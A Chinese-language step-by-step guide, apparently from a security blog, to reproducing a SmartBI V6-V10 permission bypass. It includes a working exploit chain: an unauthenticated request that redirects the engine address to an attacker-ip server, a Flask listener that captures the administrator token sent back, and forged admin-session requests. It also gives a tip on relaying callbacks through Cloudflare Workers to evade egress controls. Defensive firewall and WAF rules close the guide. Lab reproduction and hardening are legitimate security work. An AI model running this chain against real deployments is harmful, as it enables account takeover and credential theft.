手把手复现SmartBI权限绕过漏洞(V6-V10版本),从环境搭建到获取管理员Cookie
从零构建SmartBI权限绕过漏洞复现实战指南漏洞背景与复现价值在企业级BI工具领域SmartBI凭借其强大的数据整合与分析能力占据重要市场份额。然而近期曝光的权限绕过漏洞影响V6至V10版本暴露出关键安全风险——攻击者可能通过特定操作链获取管理员令牌进而完全控制系统。对于安全从业者而言深入理解该漏洞的利用原理不仅有助于防御体系构建更能提升实战渗透测试能力。本指南将采用实验室环境作为演练场景逐步演示从环境配置到完整利用的全过程。不同于简单POC复现我们将重点剖析漏洞产生的底层机制各环节的流量交互逻辑常见错误排查方法防御绕过的进阶思路重要提示所有操作必须在授权环境中进行未经授权的测试可能违反法律法规。1. 实验环境搭建1.1 靶机部署推荐使用Docker快速搭建受影响的SmartBI V8.5测试环境# 拉取漏洞版本镜像 docker pull registry.cn-hangzhou.aliyuncs.com/vulhub/smartbi:8.5 # 启动容器映射8080端口 docker run -d -p 8080:8080 --name smartbi-vuln registry.cn-hangzhou.aliyuncs.com/vulhub/smartbi:8.5关键配置验证点访问http://localhost:8080/smartbi应出现登录页面默认管理员账号admin/admin123可正常登录1.2 攻击机准备需要配置具备公网IP的服务器作为中间监听节点或使用内网穿透工具。基础工具栈包括工具类别推荐方案作用说明HTTP监听Python3 Flask接收漏洞触发的回调请求流量分析Burp Suite Community拦截修改请求内网穿透ngrok/frp本地环境暴露到公网安装Python依赖库pip install flask requests2. 漏洞原理深度解析该漏洞本质是未授权端点滥用与回调机制缺陷的组合利用。攻击链可分为三个阶段引擎地址劫持通过/smartbix/api/monitor/setEngineAddress接口将内部通信地址指向攻击者服务器令牌窃取SmartBI服务端会主动向伪造的引擎地址请求认证泄露包含管理员权限的令牌会话伪造使用窃取的令牌通过/smartbix/api/monitor/login接口建立管理员会话关键风险点在于监控接口未实施来源IP限制请求身份验证回调地址白名单校验3. 完整复现流程3.1 搭建恶意引擎服务创建engine_hook.py作为伪造的SmartBI引擎from flask import Flask, request, jsonify app Flask(__name__) stolen_token None app.route(/monitor/token, methods[POST]) def capture_token(): global stolen_token stolen_token request.json.get(token) print(f[*] 获取到管理员Token: {stolen_token}) return jsonify({status: success}) if __name__ __main__: app.run(host0.0.0.0, port8000)启动服务python3 engine_hook.py3.2 实施地址劫持使用Burp Suite发送恶意配置请求POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1 Host: target-ip:8080 Content-Type: application/json {address:http://attacker-ip:8000}验证配置是否生效POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1 Host: target-ip:8080 Content-Type: application/json预期返回应包含攻击者设置的地址。3.3 触发令牌泄露等待SmartBI服务端自动连接恶意引擎通常1-2分钟观察Python服务输出[*] 获取到管理员Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...3.4 会话劫持使用获取的令牌伪造管理员会话POST /smartbi/smartbix/api/monitor/login HTTP/1.1 Host: target-ip:8080 Content-Type: application/json Cookie: SMARTBI_TOKENeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... {token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...}成功后将返回200状态码此时浏览器刷新页面即可获得管理员权限。4. 疑难问题排查4.1 常见失败场景现象可能原因解决方案引擎地址设置失败接口路径错误确认使用完整路径/smartbix/api未收到令牌回调网络隔离/防火墙检查VPS安全组规则登录返回403令牌过期重新触发漏洞获取新令牌页面跳转后权限丢失Cookie作用域设置错误手动设置Domain为根路径4.2 流量分析技巧在Burp Suite中过滤/monitor/相关请求重点关注请求参数是否包含敏感信息响应头中的Set-Cookie字段302跳转的目标URL建议开启Burp的Match and Replace规则自动替换测试域名Match: Host: localhost Replace: Host: target-real.com5. 防御加固建议对于企业用户建议采取以下防护措施立即升级安装官方最新补丁目前安全版本已修复该漏洞网络层控制# 防火墙规则示例禁止外部访问监控接口 iptables -A INPUT -p tcp --dport 8080 -m string --string /monitor/ --algo bm -j DROP应用层加固禁用不必要的监控接口实施严格的IP白名单机制对内部通信启用双向SSL认证监控预警部署WAF规则检测异常引擎地址修改行为{ rule_name: SmartBI Engine Hijacking, match_conditions: [ { field: URI, operator: contains, value: /setEngineAddress }, { field: POST_ARGS:address, operator: not_ip, value: internal_network_range } ] }在实际渗透测试项目中我们发现该漏洞常与其他配置缺陷形成组合利用。曾有一次通过Cloudflare Workers中转回调请求成功绕过目标企业的出口IP限制。这种案例说明安全防御需要多层次、立体化的解决方案。